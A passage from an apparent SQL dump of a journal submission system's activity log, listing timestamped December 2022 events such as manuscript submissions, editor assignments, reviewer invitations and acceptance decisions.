Updated',13254,'Publisher',85),(123452,'2022-12-08 17:17:15','Publisher has Invited Reviewer',13248,'Publisher',673),(123453,'2022-12-08 17:17:20','Publisher has Invited Reviewer',13248,'Publisher',673),(123454,'2022-12-08 17:17:25','Publisher has Invited Reviewer',13248,'Publisher',673),(123455,'2022-12-08 17:17:30','Publisher has Invited Reviewer',13248,'Publisher',673),(123456,'2022-12-08 17:17:35','Publisher has Invited Reviewer',13248,'Publisher',673),(123457,'2022-12-08 17:17:40','Publisher has Invited Reviewer',13248,'Publisher',673),(123458,'2022-12-08 17:17:44','Publisher has Invited Reviewer',13248,'Publisher',673),(123459,'2022-12-08 17:17:49','Publisher has Invited Reviewer',13248,'Publisher',673),(123460,'2022-12-08 17:17:54','Publisher has Invited Reviewer',13248,'Publisher',673),(123461,'2022-12-08 17:17:59','Publisher has Invited Reviewer',13248,'Publisher',673),(123462,'2022-12-08 17:18:03','Publisher has Invited Reviewer',13248,'Publisher',673),(123463,'2022-12-08 17:18:08','Publisher has Invited Reviewer',13248,'Publisher',673),(123464,'2022-12-08 17:18:13','Publisher has Invited Reviewer',13248,'Publisher',673),(123465,'2022-12-08 17:18:17','Publisher has Invited Reviewer',13248,'Publisher',673),(123466,'2022-12-08 17:18:22','Publisher has Invited Reviewer',13248,'Publisher',673),(123467,'2022-12-08 17:18:27','Publisher has Invited Reviewer',13248,'Publisher',673),(123468,'2022-12-08 17:18:32','Publisher has Invited Reviewer',13248,'Publisher',673),(123469,'2022-12-08 17:18:36','Publisher has Invited Reviewer',13248,'Publisher',673),(123470,'2022-12-08 17:18:41','Publisher has Invited Reviewer',13248,'Publisher',673),(123471,'2022-12-08 17:18:46','Publisher has Invited Reviewer',13248,'Publisher',673),(123472,'2022-12-08 17:18:50','Publisher has Invited Reviewer',13248,'Publisher',673),(123473,'2022-12-08 17:18:55','Publisher has Invited Reviewer',13248,'Publisher',673),(123474,'2022-12-08 17:19:00','Publisher has Invited Reviewer',13248,'Publisher',673),(123475,'2022-12-08 17:19:04','Publisher has Invited Reviewer',13248,'Publisher',673),(123476,'2022-12-08 17:19:09','Publisher has Invited Reviewer',13248,'Publisher',673),(123477,'2022-12-08 17:19:14','Publisher has Invited Reviewer',13248,'Publisher',673),(123478,'2022-12-08 17:19:19','Publisher has Invited Reviewer',13248,'Publisher',673),(123479,'2022-12-08 17:19:24','Publisher has Invited Reviewer',13248,'Publisher',673),(123480,'2022-12-08 17:19:29','Publisher has Invited Reviewer',13248,'Publisher',673),(123481,'2022-12-08 17:19:33','Publisher has Invited Reviewer',13248,'Publisher',673),(123482,'2022-12-08 17:19:38','Publisher has Invited Reviewer',13248,'Publisher',673),(123483,'2022-12-08 17:19:43','Publisher has Invited Reviewer',13248,'Publisher',673),(123484,'2022-12-08 17:19:48','Publisher has Invited Reviewer',13248,'Publisher',673),(123485,'2022-12-08 17:19:53','Publisher has Invited Reviewer',13248,'Publisher',673),(123486,'2022-12-08 17:19:57','Publisher has Invited Reviewer',13248,'Publisher',673),(123487,'2022-12-08 17:20:05','Publisher has Invited Reviewer',13248,'Publisher',673),(123488,'2022-12-08 17:20:10','Publisher has Invited Reviewer',13248,'Publisher',673),(123489,'2022-12-08 17:20:14','Publisher has Invited Reviewer',13248,'Publisher',673),(123490,'2022-12-08 17:20:19','Publisher has Invited Reviewer',13248,'Publisher',673),(123491,'2022-12-08 17:20:23','Publisher has Invited Reviewer',13248,'Publisher',673),(123492,'2022-12-08 17:20:28','Publisher has Invited Reviewer',13248,'Publisher',673),(123493,'2022-12-08 17:20:33','Publisher has Invited Reviewer',13248,'Publisher',673),(123494,'2022-12-08 17:20:38','Publisher has Invited Reviewer',13248,'Publisher',673),(123495,'2022-12-08 17:20:43','Publisher has Invited Reviewer',13248,'Publisher',673),(123496,'2022-12-08 17:20:47','Publisher has Invited Reviewer',13248,'Publisher',673),(123497,'2022-12-08 17:20:52','Publisher has Invited Reviewer',13248,'Publisher',673),(123498,'2022-12-08 17:20:57','Publisher has Invited Reviewer',13248,'Publisher',673),(123499,'2022-12-08 17:21:02','Publisher has Invited Reviewer',13248,'Publisher',673),(123500,'2022-12-08 17:21:06','Publisher has Invited Reviewer',13248,'Publisher',673),(123501,'2022-12-08 17:21:11','Publisher has Invited Reviewer',13248,'Publisher',673),(123502,'2022-12-08 17:21:16','Publisher has Invited Reviewer',13248,'Publisher',673),(123503,'2022-12-08 17:21:21','Publisher has Invited Reviewer',13248,'Publisher',673),(123504,'2022-12-08 17:21:25','Publisher has Invited Reviewer',13248,'Publisher',673),(123505,'2022-12-08 17:21:30','Publisher has Invited Reviewer',13248,'Publisher',673),(123506,'2022-12-08 17:21:35','Publisher has Invited Reviewer',13248,'Publisher',673),(123507,'2022-12-08 17:21:39','Publisher has Invited Reviewer',13248,'Publisher',673),(123508,'2022-12-08 17:21:44','Publisher has Invited Reviewer',13248,'Publisher',673),(123509,'2022-12-08 17:21:49','Publisher has Invited Reviewer',13248,'Publisher',673),(123510,'2022-12-08 19:01:25','Author sent Email',13215,'Author',13417),(123511,'2022-12-09 10:56:37','Publisher has been Accepted Articles  article',13206,'Publisher',48),(123512,'2022-12-09 12:07:01','Reviewer has submitted comments',13207,'Reviewer',11715),(123513,'2022-12-09 12:07:42','Editor has Accepted to review Manuscript',13207,'Editor',194),(123514,'2022-12-09 12:07:46','Editor has Accepted to review Manuscript',13221,'Editor',194),(123515,'2022-12-09 12:07:55','Editor has been Editor Decision Accepted article',13207,'Editor',194),(123516,'2022-12-09 12:08:04','Editor has been Editor Decision Accepted article',13221,'Editor',194),(123517,'2022-12-09 12:09:12','Publisher has been Accepted Articles  article',13207,'Publisher',48),(123518,'2022-12-09 15:13:04','Publisher has been Assigned Editor',13255,'Publisher',48),(123519,'2022-12-11 18:42:07','Manuscript Submitted by Author using Submission form',13265,'Author',13469),(123520,'2022-12-13 11:36:30','Manuscript Submitted by Author using Submission form',13277,'Author',13483),(123521,'2022-12-13 11:56:36','Editor has Accepted to review Manuscript',13248,'Editor',1370),(123522,'2022-12-13 11:58:14','Editor has Accepted to review Manuscript',13187,'Editor',1783),(123523,'2022-12-13 11:59:04','Editor has been Editor Decision Accepted article',13187,'Editor',1783),(123524,'2022-12-13 12:02:51','Reviewer has submitted comments',13248,'Reviewer',17721),(123525,'2022-12-13 12:03:51','Reviewer has submitted comments',13187,'Reviewer',18411),(123526,'2022-12-13 12:03:52','Editor has been Editor Decision Accepted article',13248,'Editor',1370),(123527,'2022-12-13 12:04:54','Publisher has been Accepted Articles  article',13187,'Publisher',988),(123528,'2022-12-13 12:11:37','Manuscript Submitted by Publisher',13280,'Publisher',673),(123529,'2022-12-13 12:12:42','Manuscript Submitted by Publisher',13281,'Publisher',673),(123530,'2022-12-13 12:13:24','Manuscript Updated',13244,'Publisher',274),(123531,'2022-12-13 12:13:45','Manuscript Submitted by Publisher',13282,'Publisher',673),(123532,'2022-12-13 12:13:46','Manuscript Updated',13243,'Publisher',274),(123533,'2022-12-13 12:14:15','Manuscript Updated',13224,'Publisher',274),(123534,'2022-12-13 12:14:38','Manuscript Updated',13216,'Publisher',274),(123535,'2022-12-13 12:14:48','Manuscript Updated',13220,'Publisher',274),(123536,'2022-12-13 12:15:04','Manuscript Updated',13222,'Publisher',274),(123537,'2022-12-13 12:15:21','Manuscript Updated',13223,'Publisher',274),(123538,'2022-12-13 12:16:16','Publisher has been Accepted Articles  article',13216,'Publisher',274),(123539,'2022-12-13 12:16:48','Publisher has been Accepted Articles  article',13220,'Publisher',274),(123540,'2022-12-13 12:17:05','Publisher has been Accepted Articles  article',13222,'Publisher',274),(123541,'2022-12-13 12:17:20','Publisher has been Accepted Articles  article',13223,'Publisher',274),(123542,'2022-12-13 12:17:35','Publisher has been Accepted Articles  article',13224,'Publisher',274),(123543,'2022-12-13 12:18:13','Publisher has been Accepted Articles  article',13243,'Publisher',274),(123544,'2022-12-13 12:18:31','Publisher has been Accepted Articles  article',13244,'Publisher',274),(123545,'2022-12-13 12:18:49','Publisher has been Accepted Articles  article',13261,'Publisher',274),(123546,'2022-12-13 12:19:07','Publisher has been Accepted Articles  article',13262,'Publisher',274),(123547,'2022-12-13 12:21:18','Manuscript Submitted by Publisher',13283,'Publisher',319),(123548,'2022-12-13 12:43:27','Editor has Accepted to review Manuscript',13211,'Editor',1782),(123549,'2022-12-13 12:43:44','Editor has been Editor Decision Accepted article',13211,'Editor',1782),(123550,'2022-12-13 12:43:51','Editor has Accepted to review Manuscript',13212,'Editor',1782),(123551,'2022-12-13 12:44:01','Editor has been Editor Decision Accepted article',13212,'Editor',1782),(123552,'2022-12-13 12:45:01','Publisher has been Accepted Articles  article',13211,'Publisher',984),(123553,'2022-12-13 12:45:24','Publisher has been Accepted Articles  article',13212,'Publisher',984),(123554,'2022-12-13 12:55:11','Manuscript Submitted by Author using Submission form',13284,'Author',13491),(123555,'2022-12-13 13:11:47','Manuscript Submitted by Author using Submission form',13285,'Author',13492),(123556,'2022-12-13 13:48:22','Manuscript Submitted by Author using Submission form',13286,'Author',13493),(123557,'2022-12-13 14:10:42','Manuscript Submitted by Author using Submission form',13287,'Author',13494),(123558,'2022-12-13 14:14:29','Manuscript Submitted by Author using Submission form',13288,'Author',13495),(123559,'2022-12-13 14:18:05','Manuscript Submitted by Author using Submission form',13289,'Author',13496),(123560,'2022-12-13 14:53:39','Manuscript Submitted by Author using Submission form',13290,'Author',13497),(123561,'2022-12-13 15:22:49','Manuscript Submitted by Author using Submission form',13291,'Author',13498),(123562,'2022-12-13 15:32:59','Manuscript Submitted by Publisher',13292,'Publisher',673),(123563,'2022-12-13 15:52:25','Manuscript Submitted by Publisher',13293,'Publisher',376),(123564,'2022-12-13 15:59:16','Manuscript Submitted by Author using Submission form',13294,'Author',13502),(123565,'2022-12-13 17:15:10','Manuscript Submitted by Author using Submission form',13295,'Author',13503),(123566,'2022-12-13 17:30:26','Manuscript Submitted by Author using Submission form',13296,'Author',13505),(123567,'2022-12-13 17:37:40','Manuscript Submitted by Author using Submission form',13297,'Author',13506),(123568,'2022-12-13 18:05:09','Manuscript Submitted by Author using Submission form',13298,'Author',13507),(123569,'2022-12-13 18:26:10','Manuscript Submitted by Author using Submission form',13299,'Author',13509),(123570,'2022-12-13 18:40:53','Manuscript Submitted by Author using Submission form',13300,'Author',13510),(123571,'2022-12-13 18:47:21','Manuscript Submitted by Author using Submission form',13301,'Author',13511),(123572,'2022-12-14 09:54:46','Publisher has been Accepted Articles  article',13221,'Publisher',48),(123573,'2022-12-14 09:56:25','Editor has Accepted to review Manuscript',13116,'Editor',192),(123574,'2022-12-14 09:56:36','Editor has been Editor Decision Accepted article',13116,'Editor',192),(123575,'2022-12-14 09:57:55','Publisher: Accept Notification has been sent to Author',13116,'Publisher',48),(123576,'2022-12-14 12:21:08','Manuscript Submitted by Author using Submission form',13307,'Author',13517),(123577,'2022-12-14 13:50:33','Publisher has been Accepted Articles  article',13116,'Publisher',48),(123578,'2022-12-14 14:03:13','Editor has Accepted to review Manuscript',13120,'Editor',191),(123579,'2022-12-14 14:03:25','Editor has been Editor Decision Accepted article',13120,'Editor',191),(123580,'2022-12-14 14:04:18','Publisher: Accept Notification has been sent to Author',13120,'Publisher',48),(123581,'2022-12-14 15:13:18','Manuscript Submitted by Author using Submission form',13308,'Author',13518),(123582,'2022-12-14 15:21:23','Publisher: Accept Notification has been sent to Author',13120,'Publisher',48),(123583,'2022-12-14 15:21:55','Publisher has been Accepted Articles  article',13120,'Publisher',48),(123584,'2022-12-14 15:26:33','Manuscript Submitted by Author using Submission form',13309,'Author',13519),(123585,'2022-12-14 15:36:21','Manuscript Submitted by Author using Submission form',13310,'Author',13520),(123586,'2022-12-14 16:57:30','Manuscript Submitted by Author using Submission form',13311,'Author',13521),(123587,'2022-12-14 16:59:24','Manuscript Submitted by Author using Submission form',13312,'Author',13522),(123588,'2022-12-14 16:59:30','Manuscript Updated',13229,'Publisher',376),(123589,'2022-12-14 17:01:58','Publisher has been Accepted Articles  article',13229,'Publisher',376),(123590,'2022-12-14 17:02:59','Manuscript Submitted by Author using Submission form',13313,'Author',13523),(123591,'2022-12-14 17:11:02','Publisher has been Assigned Editor',13284,'Publisher',984),(123592,'2022-12-14 17:11:17','Publisher has been Assigned Editor',13285,'Publisher',984),(123593,'2022-12-14 17:11:31','Publisher has been Assigned Editor',13286,'Publisher',984),(123594,'2022-12-14 17:11:46','Publisher has been Assigned Editor',13296,'Publisher',984),(123595,'2022-12-14 17:12:01','Publisher has been Assigned Editor',13299,'Publisher',984),(123596,'2022-12-14 17:12:15','Publisher has been Assigned Editor',13300,'Publisher',984),(123597,'2022-12-14 17:12:28','Publisher has been Assigned Editor',13301,'Publisher',984),(123598,'2022-12-14 17:12:42','Publisher has been Assigned Editor',13307,'Publisher',984),(123599,'2022-12-14 17:18:35','Publisher has been Accepted Articles  article',13263,'Publisher',274),(123600,'2022-12-14 17:20:13','Publisher has been Accepted Articles  article',13284,'Publisher',984),(123601,'2022-12-14 17:20:36','Publisher has been Accepted Articles  article',13285,'Publisher',984),(123602,'2022-12-14 17:20:59','Publisher has been Accepted Articles  article',13286,'Publisher',984),(123603,'2022-12-14 18:22:20','Manuscript Submitted by Publisher',13314,'Publisher',376),(123604,'2022-12-14 18:23:33','Manuscript Submitted by Publisher',13315,'Publisher',376),(123605,'2022-12-15 12:22:21','Publisher has been Assigned Editor',13260,'Publisher',972),(123606,'2022-12-15 12:22:35','Publisher has been Assigned Editor',13258,'Publisher',972),(123607,'2022-12-15 12:24:29','Publisher has been Assigned Editor',13257,'Publisher',972),(123608,'2022-12-15 12:25:05','Publisher has been Assigned Editor',13256,'Publisher',972),(123609,'2022-12-15 13:11:39','Publisher has been Assigned Editor',13292,'Publisher',673),(123610,'2022-12-15 13:11:53','Publisher has been Assigned Editor',13281,'Publisher',673),(123611,'2022-12-15 13:12:11','Publisher has been Assigned Editor',13280,'Publisher',673),(123612,'2022-12-15 13:58:35','Editor has Accepted to review Manuscript',13256,'Editor',1784),(123613,'2022-12-15 13:58:45','Editor has been Editor Decision Accepted article',13256,'Editor',1784),(123614,'2022-12-15 13:59:32','Editor has Accepted to review Manuscript',13260,'Editor',1787),(123615,'2022-12-15 13:59:36','Editor has Accepted to review Manuscript',13257,'Editor',1787),(123616,'2022-12-15 13:59:45','Editor has been Editor Decision Accepted article',13260,'Editor',1787),(123617,'2022-12-15 14:01:08','Editor has been Editor Decision Accepted article',13260,'Editor',1787),(123618,'2022-12-15 14:01:15','Editor has been Editor Decision Accepted article',13260,'Editor',1787),(123619,'2022-12-15 14:01:22','Editor has been Editor Decision Accepted article',13260,'Editor',1787),(123620,'2022-12-15 14:01:24','Editor has been Editor Decision Accepted article',13260,'Editor',1787),(123621,'2022-12-15 14:01:25','Editor has been Editor Decision Accepted article',13260,'Editor',1787),(123622,'2022-12-15 14:01:26','Editor has been Editor Decision Accepted article',13260,'Editor',1787),(123623,'2022-12-15 14:01:26','Editor has been Editor Decision Accepted article',13260,'Editor',1787),(123624,'2022-12-15 14:01:26','Editor has been Editor Decision Accepted article',13260,'Editor',1787),(123625,'2022-12-15 14:01:27','Editor has been Editor Decision Accepted article',13260,'Editor',1787),(123626,'2022-12-15 14:01:28','Editor has been Editor Decision Accepted article',13260,'Editor',1787),(123627,'2022-12-15 14:05:08','Editor has Accepted to review Manuscript',13258,'Editor',1786),(123628,'2022-12-15 14:05:17','Editor has been Editor Decision Accepted article',13258,'Editor',1786),(123629,'2022-12-15 14:06:26','Editor has been Editor Decision Accepted article',13257,'Editor',1787),(123630,'2022-12-15 14:07:02','Manuscript Updated',13258,'Publisher',972),(123631,'2022-12-15 14:07:18','Manuscript Updated',13257,'Publisher',972),(123632,'2022-12-15 14:07:53','Manuscript Updated',13256,'Publisher',972),(123633,'2022-12-15 14:23:11','Editor has Accepted to review Manuscript',13188,'Editor',1367),(123634,'2022-12-15 14:23:19','Editor has been Editor Decision Accepted article',13188,'Editor',1367),(123635,'2022-12-15 14:36:02','Publisher has been Accepted Articles  article',13260,'Publisher',972),(123636,'2022-12-15 14:36:18','Publisher has been Accepted Articles  article',13258,'Publisher',972),(123637,'2022-12-15 14:36:35','Publisher has been Accepted Articles  article',13257,'Publisher',972),(123638,'2022-12-15 14:36:51','Publisher has been Accepted Articles  article',13256,'Publisher',972),(123639,'2022-12-15 14:37:17','Publisher has been Accepted Articles  article',13188,'Publisher',972),(123640,'2022-12-15 14:50:30','Manuscript Submitted by Publisher',13317,'Publisher',673),(123641,'2022-12-15 15:15:39','Manuscript Submitted by Author using Submission form',13318,'Author',13524),(123642,'2022-12-15 15:33:04','Publisher has been Assigned Editor',13295,'Publisher',988),(123643,'2022-12-15 15:33:24','Publisher has been Assigned Editor',13291,'Publisher',988),(123644,'2022-12-15 15:33:38','Publisher has been Assigned Editor',13290,'Publisher',988),(123645,'2022-12-15 15:37:41','Publisher has been Assigned Editor',13289,'Publisher',1033),(123646,'2022-12-15 15:37:57','Publisher has been Assigned Editor',13288,'Publisher',1033),(123647,'2022-12-15 15:38:13','Publisher has been Assigned Editor',13287,'Publisher',1033),(123648,'2022-12-15 16:52:55','Publisher has been Assigned Editor',13312,'Publisher',988),(123649,'2022-12-15 16:53:17','Publisher has been Assigned Editor',13311,'Publisher',988),(123650,'2022-12-15 16:54:07','Publisher has been Assigned Editor',13318,'Publisher',1033),(123651,'2022-12-15 17:05:47','Manuscript Submitted by Author using Submission form',13320,'Author',13526),(123652,'2022-12-15 19:06:23','Publisher has been Accepted Articles  article',13278,'Publisher',274),(123653,'2022-12-15 19:06:49','Publisher has been Accepted Articles  article',13266,'Publisher',274),(123654,'2022-12-15 19:07:02','Publisher has been Accepted Articles  article',13267,'Publisher',274),(123655,'2022-12-15 19:07:15','Publisher has been Accepted Articles  article',13271,'Publisher',274),(123656,'2022-12-15 19:07:27','Publisher has been Accepted Articles  article',13272,'Publisher',274),(123657,'2022-12-16 11:45:37','Publisher has been Accepted Articles  article',13273,'Publisher',274),(123658,'2022-12-16 11:46:09','Publisher has been Accepted Articles  article',13275,'Publisher',274),(123659,'2022-12-16 11:46:30','Publisher has been Accepted Articles  article',13276,'Publisher',274),(123660,'2022-12-16 11:46:51','Publisher has been Accepted Articles  article',13279,'Publisher',274),(123661,'2022-12-16 12:31:35','Manuscript Submitted by Author using Submission form',13321,'Author',13527),(123662,'2022-12-16 12:32:36','Publisher has been Assigned Editor',13313,'Publisher',984),(123663,'2022-12-16 13:18:05','Manuscript Submitted by Author using Submission form',13322,'Author',13528),(123664,'2022-12-16 13:21:16','Publisher has been Assigned Editor',13293,'Publisher',376),(123665,'2022-12-16 13:22:11','Editor has Accepted to review Manuscript',13293,'Editor',1452),(123666,'2022-12-16 13:22:30','Editor has been Editor Decision Accepted article',13293,'Editor',1452),(123667,'2022-12-16 13:36:25','Manuscript Updated',13248,'Publisher',673),(123668,'2022-12-16 13:36:44','Publisher has been Accepted Articles  article',13248,'Publisher',673),(123669,'2022-12-16 13:36:55','Manuscript Updated',13248,'Publisher',673),(123670,'2022-12-16 13:44:54','Manuscript Submitted by Author using Submission form',13323,'Author',13529),(123671,'2022-12-16 14:23:25','Publisher has been Accepted Articles  article',13214,'',1050),(123672,'2022-12-16 14:24:42','Manuscript Updated',13293,'Publisher',376),(123673,'2022-12-16 14:25:10','Publisher has been Accepted Articles  article',13293,'Publisher',376),(123674,'2022-12-16 14:25:12','Publisher has been Accepted Articles  article',13293,'Publisher',376),(123675,'2022-12-16 14:54:23','Publisher has been Assigned Editor',13317,'Publisher',673),(123676,'2022-12-16 14:55:52','Editor has Accepted to review Manuscript',13317,'Editor',1732),(123677,'2022-12-16 14:55:58','Editor has Accepted to review Manuscript',13292,'Editor',1732),(123678,'2022-12-16 14:56:03','Editor has Accepted to review Manuscript',13281,'Editor',1732),(123679,'2022-12-16 14:56:20','Editor has Accepted to review Manuscript',13280,'Editor',1732),(123680,'2022-12-16 14:56:46','Editor has been Editor Decision Accepted article',13317,'Editor',1732),(123681,'2022-12-16 14:56:57','Editor has been Editor Decision Accepted article',13292,'Editor',1732),(123682,'2022-12-16 14:57:07','Editor has been Editor Decision Accepted article',13281,'Editor',1732),(123683,'2022-12-16 14:57:19','Editor has been Editor Decision Accepted article',13280,'Editor',1732),(123684,'2022-12-16 14:58:29','Publisher has Invited Reviewer',13317,'Publisher',673),(123685,'2022-12-16 14:58:34','Publisher has Invited Reviewer',13317,'Publisher',673),(123686,'2022-12-16 14:58:39','Publisher has Invited Reviewer',13317,'Publisher',673),(123687,'2022-12-16 14:58:44','Publisher has Invited Reviewer',13317,'Publisher',673),(123688,'2022-12-16 14:58:49','Publisher has Invited Reviewer',13317,'Publisher',673),(123689,'2022-12-16 14:58:51','Manuscript Submitted by Author using Submission form',13324,'Author',13530),(123690,'2022-12-16 14:58:54','Publisher has Invited Reviewer',13317,'Publisher',673),(123691,'2022-12-16 14:58:58','Publisher has Invited Reviewer',13317,'Publisher',673),(123692,'2022-12-16 14:59:34','Publisher has Invited Reviewer',13292,'Publisher',673),(123693,'2022-12-16 14:59:39','Publisher has Invited Reviewer',13292,'Publisher',673),(123694,'2022-12-16 14:59:43','Publisher has Invited Reviewer',13292,'Publisher',673),(123695,'2022-12-16 14:59:48','Publisher has Invited Reviewer',13292,'Publisher',673),(123696,'2022-12-16 14:59:53','Publisher has Invited Reviewer',13292,'Publisher',673),(123697,'2022-12-16 15:03:19','Publisher has Invited Reviewer',13281,'Publisher',673),(123698,'2022-12-16 15:03:24','Publisher has Invited Reviewer',13281,'Publisher',673),(123699,'2022-12-16 15:03:29','Publisher has Invited Reviewer',13281,'Publisher',673),(123700,'2022-12-16 15:03:34','Publisher has Invited Reviewer',13281,'Publisher',673),(123701,'2022-12-16 15:04:12','Publisher has Invited Reviewer',13280,'Publisher',673),(123702,'2022-12-16 15:04:17','Publisher has Invited Reviewer',13280,'Publisher',673),(123703,'2022-12-16 15:04:21','Publisher has Invited Reviewer',13280,'Publisher',673),(123704,'2022-12-16 15:04:26','Publisher has Invited Reviewer',13280,'Publisher',673),(123705,'2022-12-16 15:05:15','Publisher has Invited Reviewer',13312,'Publisher',988),(123706,'2022-12-16 15:05:20','Publisher has Invited Reviewer',13312,'Publisher',988),(123707,'2022-12-16 15:05:25','Publisher has Invited Reviewer',13312,'Publisher',988),(123708,'2022-12-16 15:05:29','Publisher has Invited Reviewer',13312,'Publisher',988),(123709,'2022-12-16 15:05:34','Publisher has Invited Reviewer',13312,'Publisher',988),(123710,'2022-12-16 15:05:39','Publisher has Invited Reviewer',13312,'Publisher',988),(123711,'2022-12-16 15:05:43','Publisher has Invited Reviewer',13312,'Publisher',988),(123712,'2022-12-16 15:06:31','Publisher has Invited Reviewer',13311,'Publisher',988),(123713,'2022-12-16 15:06:36','Publisher has Invited Reviewer',13311,'Publisher',988),(123714,'2022-12-16 15:06:41','Publisher has Invited Reviewer',13311,'Publisher',988),(123715,'2022-12-16 15:06:46','Publisher has Invited Reviewer',13311,'Publisher',988),(123716,'2022-12-16 15:06:50','Publisher has Invited Reviewer',13311,'Publisher',988),(123717,'2022-12-16 15:06:55','Publisher has Invited Reviewer',13311,'Publisher',988),(123718,'2022-12-16 15:07:00','Publisher has Invited Reviewer',13311,'Publisher',988),(123719,'2022-12-16 15:07:04','Publisher has Invited Reviewer',13311,'Publisher',988),(123720,'2022-12-16 15:07:09','Publisher has Invited Reviewer',13311,'Publisher',988),(123721,'2022-12-16 15:07:14','Publisher has Invited Reviewer',13311,'Publisher',988),(123722,'2022-12-16 15:07:19','Publisher has Invited Reviewer',13311,'Publisher',988),(123723,'2022-12-16 15:07:23','Publisher has Invited Reviewer',13311,'Publisher',988),(123724,'2022-12-16 15:07:28','Publisher has Invited Reviewer',13311,'Publisher',988),(123725,'2022-12-16 15:07:33','Publisher has Invited Reviewer',13311,'Publisher',988),(123726,'2022-12-16 15:07:37','Publisher has Invited Reviewer',13311,'Publisher',988),(123727,'2022-12-16 15:07:42','Publisher has Invited Reviewer',13311,'Publisher',988),(123728,'2022-12-16 15:07:47','Publisher has Invited Reviewer',13311,'Publisher',988),(123729,'2022-12-16 15:07:51','Publisher has Invited Reviewer',13311,'Publisher',988),(123730,'2022-12-16 15:07:56','Publisher has Invited Reviewer',13311,'Publisher',988),(123731,'2022-12-16 15:08:01','Publisher has Invited Reviewer',13311,'Publisher',988),(123732,'2022-12-16 15:08:05','Publisher has Invited Reviewer',13311,'Publisher',988),(123733,'2022-12-16 15:08:10','Publisher has Invited Reviewer',13311,'Publisher',988),(123734,'2022-12-16 15:09:03','Publisher has Invited Reviewer',13295,'Publisher',988),(123735,'2022-12-16 15:09:08','Publisher has Invited Reviewer',13295,'Publisher',988),(123736,'2022-12-16 15:09:12','Publisher has Invited Reviewer',13295,'Publisher',988),(123737,'2022-12-16 15:09:17','Publisher has Invited Reviewer',13295,'Publisher',988),(123738,'2022-12-16 15:09:22','Publisher has Invited Reviewer',13295,'Publisher',988),(123739,'2022-12-16 15:10:37','Publisher has Invited Reviewer',13291,'Publisher',988),(123740,'2022-12-16 15:10:42','Publisher has Invited Reviewer',13291,'Publisher',988),(123741,'2022-12-16 15:10:47','Publisher has Invited Reviewer',13291,'Publisher',988),(123742,'2022-12-16 15:10:51','Publisher has Invited Reviewer',13291,'Publisher',988),(123743,'2022-12-16 15:10:56','Publisher has Invited Reviewer',13291,'Publisher',988),(123744,'2022-12-16 15:11:01','Publisher has Invited Reviewer',13291,'Publisher',988),(123745,'2022-12-16 15:11:06','Publisher has Invited Reviewer',13291,'Publisher',988),(123746,'2022-12-16 15:14:33','Publisher has Invited Reviewer',13290,'Publisher',988),(123747,'2022-12-16 15:14:38','Publisher has Invited Reviewer',13290,'Publisher',988),(123748,'2022-12-16 15:14:43','Publisher has Invited Reviewer',13290,'Publisher',988),(123749,'2022-12-16 15:14:47','Publisher has Invited Reviewer',13290,'Publisher',988),(123750,'2022-12-16 15:14:52','Publisher has Invited Reviewer',13290,'Publisher',988),(123751,'2022-12-16 15:14:57','Publisher has Invited Reviewer',13290,'Publisher',988),(123752,'2022-12-16 15:17:55','Publisher has been Accepted Articles  article',13290,'Publisher',988),(123753,'2022-12-16 15:19:32','Publisher has been Accepted Articles  article',13291,'Publisher',988),(123754,'2022-12-16 15:19:57','Publisher has been Accepted Articles  article',13295,'Publisher',988),(123755,'2022-12-16 15:21:09','Editor has Accepted to review Manuscript',13290,'Editor',1783),(123756,'2022-12-16 15:21:17','Editor has Accepted to review Manuscript',13291,'Editor',1783),(123757,'2022-12-16 15:21:28','Editor has Accepted to review Manuscript',13311,'Editor',1783),(123758,'2022-12-16 15:21:41','Manuscript Updated',13317,'Publisher',673),(123759,'2022-12-16 15:21:57','Editor has been Editor Decision Accepted article',13311,'Editor',1783),(123760,'2022-12-16 15:22:02','Publisher has been Accepted Articles  article',13317,'Publisher',673),(123761,'2022-12-16 15:22:15','Manuscript Updated',13317,'Publisher',673),(123762,'2022-12-16 15:22:31','Manuscript Updated',13292,'Publisher',673),(123763,'2022-12-16 15:23:03','Publisher has been Accepted Articles  article',13292,'Publisher',673),(123764,'2022-12-16 15:23:22','Manuscript Updated',13292,'Publisher',673),(123765,'2022-12-16 15:23:28','Editor has Accepted to review Manuscript',13312,'Editor',1410),(123766,'2022-12-16 15:23:34','Editor has Accepted to review Manuscript',13295,'Editor',1410),(123767,'2022-12-16 15:23:39','Manuscript Updated',13281,'Publisher',673),(123768,'2022-12-16 15:23:46','Editor has been Editor Decision Accepted article',13312,'Editor',1410),(123769,'2022-12-16 15:23:55','Editor has been Editor Decision Accepted article',13295,'Editor',1410),(123770,'2022-12-16 15:24:17','Publisher has been Accepted Articles  article',13281,'Publisher',673),(123771,'2022-12-16 15:24:59','Manuscript Updated',13280,'Publisher',673),(123772,'2022-12-16 15:25:16','Publisher has been Accepted Articles  article',13280,'Publisher',673),(123773,'2022-12-16 15:30:04','Manuscript Submitted by Publisher',13325,'Publisher',376),(123774,'2022-12-16 15:30:08','Publisher has been Accepted Articles  article',13295,'Publisher',988),(123775,'2022-12-16 15:30:25','Manuscript Updated',13312,'Publisher',988),(123776,'2022-12-16 15:30:35','Manuscript Updated',13311,'Publisher',988),(123777,'2022-12-16 15:31:12','Publisher has been Accepted Articles  article',13311,'Publisher',988),(123778,'2022-12-16 15:31:22','Manuscript Updated',13311,'Publisher',988),(123779,'2022-12-16 15:31:38','Publisher has been Accepted Articles  article',13312,'Publisher',988),(123780,'2022-12-16 15:31:45','Manuscript Updated',13312,'Publisher',988),(123781,'2022-12-16 16:02:57','Manuscript Submitted by Author using Submission form',13326,'Author',13532),(123782,'2022-12-16 16:46:24','Manuscript Updated',13304,'Publisher',319),(123783,'2022-12-16 16:46:35','Publisher has been Accepted Articles  article',13304,'Publisher',319),(123784,'2022-12-17 09:56:36','Publisher has been Assigned Editor',13320,'Publisher',248),(123785,'2022-12-17 09:56:59','Publisher has been Assigned Editor',13309,'Publisher',248),(123786,'2022-12-17 09:57:15','Publisher has been Assigned Editor',13308,'Publisher',248),(123787,'2022-12-17 10:33:59','Manuscript Submitted by Author using Submission form',13330,'Author',13535),(123788,'2022-12-17 10:49:26','Publisher has been Assigned Editor',13325,'Publisher',376),(123789,'2022-12-17 10:49:47','Publisher has been Assigned Editor',13315,'Publisher',376),(123790,'2022-12-17 10:51:09','Editor has Accepted to review Manuscript',13325,'Editor',1452),(123791,'2022-12-17 10:51:18','Editor has been Editor Decision Accepted article',13325,'Editor',1452),(123792,'2022-12-17 10:52:02','Editor has Accepted to review Manuscript',13315,'Editor',1012),(123793,'2022-12-17 10:52:12','Editor has been Editor Decision Accepted article',13315,'Editor',1012),(123794,'2022-12-17 11:11:48','Manuscript Submitted by Author using Submission 